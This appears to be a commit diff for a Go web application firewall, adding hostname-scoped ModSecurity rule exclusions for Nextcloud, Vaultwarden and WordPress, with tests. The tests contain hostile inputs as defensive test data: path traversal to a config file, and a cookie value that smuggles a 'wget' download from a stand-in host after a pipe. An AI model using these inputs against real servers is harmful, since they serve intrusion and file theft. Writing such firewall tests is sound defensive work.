ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
# A comment on a file, in the JSON field message of a new comment, and in the
# XML body of an edited one. It skips the rules for sentences too. An edited
# comment's XML holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
"id:900114,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
"id:900115,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PROPPATCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932235;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*,\
ctl:ruleRemoveTargetById=932380;XML:/*"
# The Files app's search sends its words in the XML body of a SEARCH request,
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
"id:900116,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq SEARCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The name of a new tag, in the JSON field name: {"name": "python3"}.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
"id:900117,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# A file the Files app or the sync client uploads with PUT to the WebDAV
# paths is a file, not form data. Read as fields, a JSON file holding
# "python3 -m pytest" was refused (932260), and an XML file holding
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
# RAW, a kind of body sww does not read. Its headers, path and query are
# still checked.
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900118,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
SecMarker END_NEXTCLOUD
+560
View File
@@ -0,0 +1,560 @@
package coreruleset_test
import (
"encoding/json"
"html"
"maps"
"net/http"
"net/url"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
// nextcloudPreview is a public share's preview of a file.
const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO"
// nextcloudUsers is the OCS API's list of accounts.
const nextcloudUsers = "/ocs/v2.php/cloud/users"
// nextcloudShares is the OCS API's list of shares.
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
// nextcloudStatus is where the OCS API sets an account's status.
const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom"
// nextcloudFiles is the WebDAV folder of the account admin.
const nextcloudFiles = "/remote.php/dav/files/admin/"
// nextcloudSave is where the text editor saves a document.
const nextcloudSave = "/apps/text/session/1/save"
// The WebDAV methods the Files app's search and a comment's edit use, and
// the method the sync client lists a folder with.
const (
nextcloudSearch = "SEARCH"
nextcloudPropPatch = "PROPPATCH"
nextcloudPropFind = "PROPFIND"
)
// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt", atDefaults(t), readingBodies(t))
}
// nextcloud is Nextcloud's name in SWW_APPS.
const nextcloud = "nextcloud"
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// A search, which only Nextcloud's fixes let through.
search := get(nextcloudUsers + "?search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {nextcloud},
})
// Listing a folder, as the sync client does.
list := request{nextcloudPropFind, nextcloudFiles, nil}
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
}
func TestHostnameListingNextcloudLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
apps := map[string][]string{recordedHost: {nextcloud}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "nextcloud-requests.txt", servingApps(t, apps), bodies)
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudQueryFields = []string{
"/login?user=",
"/login?redirect_url=",
"/index.php/login?user=",
"/apps/files/?dir=",
"/apps/files/files/134?dir=",
"/index.php/apps/files/?dir=",
nextcloudPreview + "?file=",
nextcloudShare + "/download?path=",
nextcloudShare + "/download?path=%2F&files=",
nextcloudUsers + "?search=",
nextcloudUsers + "/details?search=",
"/ocs/v2.php/cloud/groups?search=",
"/ocs/v1.php/cloud/groups/details?search=",
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
nextcloudShares + "?path=",
"/ocs/v2.php/search/providers/files/search?term=",
"/ocs/v2.php/search/providers/files/search?term=x&from=",
}
// nextcloudFormFields are the form data fields that skip the four rules, each
// on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{
{"/login", "user="},
{"/login", passwordField},
{nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="},
{nextcloudUsers + "/admin", "value="},
{"/ocs/v2.php/cloud/groups", "groupid="},
{nextcloudShares, "path="},
{nextcloudShares, "label="},
{nextcloudShares, "shareWith="},
}
// nextcloudBody is a form data, JSON or XML body, sent with its method to a
// path. It holds %s, where a value goes, written as the body's type needs.
type nextcloudBody struct{ method, target, contentType, body string }
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
// on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudBodies = []nextcloudBody{
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
{
http.MethodPut, nextcloudUsers + "/admin",
jsonBody, `{"key":"headline","value":"%s"}`,
},
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
jsonBody, `{"setting":"slogan","value":"%s"}`,
},
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
{
nextcloudSearch, "/remote.php/dav/", xmlBody,
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
},
}
// nextcloudDocument is the text of a document the text editor saves, which
// skips the rules for code blocks too.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var nextcloudDocument = nextcloudBody{
http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`,
}
// nextcloudTexts are the fields that hold what a person writes, which skip
// the rules for sentences too: a document, a comment, a share's note and an
// account's status.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudTexts = []nextcloudBody{
nextcloudDocument,
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
{
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
`</d:propertyupdate>`,
},
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
{
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
formData, "note=%s",
},
{http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`},
{http.MethodPut, nextcloudStatus, formData, "message=%s"},
}
// nextcloudSentences are sentences recorded in the texts, which rules
// refused there.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudSentences = []string{
"It is fixed; diff attached",
"Run python3 or powershell; ls -la shows .htaccess",
"We need more time; find the old notes first",
"Tested on Windows; powershell works",
}
// nextcloudCodeBlock is a shell script in a code block of a document, as
// recorded.
const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
"tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```"
// nextcloudBodyScore returns the request that sends value, which is not
// escaped, in sent's body, and the score crs gives it.
func nextcloudBodyScore(
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
) (string, int) {
t.Helper()
switch sent.contentType {
case formData:
value = url.QueryEscape(value)
case jsonBody:
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
value = string(quoted[1 : len(quoted)-1])
case xmlBody:
value = html.EscapeString(value)
}
body := strings.Replace(sent.body, "%s", value, 1)
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, body)
return sent.method + " " + sent.target + " " + body, got.Score
}
// nextcloudFieldScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends value, a query value, in one of the
// fields that skip the four rules, keyed by the request.
func nextcloudFieldScores(t *testing.T, value string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, target := range nextcloudQueryFields {
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
}
for _, sent := range nextcloudFormFields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
scores["POST "+sent.target+" "+sent.field+value] = got.Score
}
written, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
for _, sent := range nextcloudBodies {
request, score := nextcloudBodyScore(t, crs, sent, written)
scores[request] = score
}
return scores
}
// nextcloudTextScores returns the score that the Core Rule Set, reading
// bodies, gives each request that sends text, which is not escaped, in one of
// the texts, keyed by the request.
func nextcloudTextScores(t *testing.T, text string) map[string]int {
t.Helper()
crs := readingBodies(t)
scores := map[string]int{}
for _, sent := range nextcloudTexts {
request, score := nextcloudBodyScore(t, crs, sent, text)
scores[request] = score
}
return scores
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, value := range hardValues {
for request, score := range nextcloudFieldScores(t, value) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
}
}
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
t.Parallel()
for _, sentence := range nextcloudSentences {
for request, score := range nextcloudTextScores(t, sentence) {
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
}
document := "Backup steps:\n\n" + nextcloudCodeBlock
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
}
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range []string{
sqlInjection,
"..%2F..%2Fconfig%2Fconfig.php",
scriptInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
scores := nextcloudFieldScores(t, attack)
maps.Copy(scores, nextcloudTextScores(t, written))
for request, score := range scores {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// A shell command after a ";" reaches Nextcloud only in the texts.
for request, score := range nextcloudFieldScores(t, commandInjection) {
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
cookie := func(value string) request {
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
}
for _, value := range hardValues {
name, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
wantResult(t, crs, cookie(name), matched())
}
// A cookie cannot hold a ";", so the command follows a "|" instead.
for _, attack := range []string{
injection,
"../../config/config.php",
scriptTag,
"x|wget http://example.com/x.sh",
} {
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
t.Errorf("nc_username=%s let through: %+v", attack, got)
}
}
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
if got.Score < nextcloudThreshold {
t.Errorf("nc_other=python3 let through: %+v", got)
}
}
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, method := range []string{
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
nextcloudSearch, "LOCK", "UNLOCK",
} {
for _, target := range []string{
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
} {
wantResult(t, crs, request{method, target, nil}, matched())
}
for _, target := range []string{
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
} {
wantResult(t, crs, request{method, target, nil}, matched(911100))
}
}
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
}
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
// them, which rules refused when they read them as fields.
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudUploads = []struct{ name, contentType, body string }{
{"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`},
{"logs.xml", xmlBody, "<tasks><task>ls -la /var/log</task></tasks>"},
}
func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, upload := range nextcloudUploads {
uploaded := request{
http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType},
}
got, _ := inspectBody(t, crs, uploaded, upload.body)
if got.Score >= nextcloudThreshold {
t.Errorf("PUT %s refused: %+v", uploaded.target, got)
}
for _, refused := range []request{
// Elsewhere, or with another method, the body is read.
{http.MethodPost, "/", uploaded.headers},
{http.MethodPut, "/apps/files/" + upload.name, uploaded.headers},
{http.MethodPost, uploaded.target, uploaded.headers},
// The query is still checked.
{http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers},
} {
got, _ := inspectBody(t, crs, refused, upload.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
}
}
}
}
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
for _, method := range methods {
for _, target := range []string{
nextcloudFiles + "../../../config/config.php",
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
} {
got := inspect(t, crs, request{method, target, nil})
if got.Score < nextcloudThreshold {
t.Errorf("%s %s let through: %+v", method, target, got)
}
}
}
}
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, refused := range []string{
"/?dir=python3",
"/apps/other/?dir=python3",
"/apps/files/?other=python3",
"/login?other=python3",
"/x/login?user=python3",
nextcloudShare + "?files=powershell",
"/?file=powershell",
// Each public share path keeps the rules on the other's fields.
nextcloudPreview + "?files=powershell",
nextcloudShare + "/download?file=powershell",
"/?search=python3",
nextcloudUsers + "?other=python3",
"/x/ocs/v2.php/cloud/users?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
for _, sent := range []nextcloudBody{
// A JSON field of the same name in the query keeps the rules.
{
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
{
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
jsonBody, `{"value":"python3"}`,
},
{
http.MethodPost, nextcloudUsers + "?json.userid=python3",
jsonBody, `{"userid":"python3"}`,
},
{
http.MethodPut, nextcloudShares + "/1?json.note=python3",
jsonBody, `{"note":"python3"}`,
},
{
http.MethodPut, nextcloudStatus + "?json.message=python3",
jsonBody, `{"message":"python3"}`,
},
// Other JSON fields keep them.
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
// A note or a status on another OCS path keeps them.
{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`},
{http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"},
// XML on another path, or with another method, keeps them.
{
nextcloudSearch, nextcloudFiles,
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
},
{
nextcloudPropPatch, nextcloudFiles + "notes.txt",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
{
"REPORT", "/remote.php/dav/comments/files/1/2",
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
},
} {
r := request{sent.method, sent.target, []string{sent.contentType}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < nextcloudThreshold {
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
}
}
}
File diff suppressed because it is too large. Load diff
+10 -1
View File
@@ -1,4 +1,4 @@
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,6 +17,13 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_vaultwarden when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team"
@@ -82,3 +89,5 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
"id:900153,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920120;FILES"
SecMarker END_VAULTWARDEN
+32 -1
View File
@@ -7,6 +7,8 @@ import (
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -30,7 +32,36 @@ const vaultwardenEmail = `{"email":"VALUE"}`
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
wantRecordedRequestsPass(t, "vaultwarden-requests.txt",
atDefaults(t), readingBodies(t))
}
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
}
func TestHostnameListingVaultwardenLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
apps := map[string][]string{recordedHost: {"vaultwarden"}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", servingApps(t, apps), bodies)
}
// vaultwardenField is a field Vaultwarden receives in plain text: the
+10 -1
View File
@@ -1,10 +1,17 @@
# The ninth change: on WordPress's paths, some fields skip the rules that refused
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1
@@ -195,3 +202,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
@@ -10,6 +10,7 @@ import (
"testing"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
@@ -21,6 +22,7 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block"
detect = "detect"
)
@@ -290,6 +292,27 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
}
}
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startDiscriminator(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, discriminator.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
+3 -1
View File
@@ -221,7 +221,8 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
// or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -236,6 +237,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
})
if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)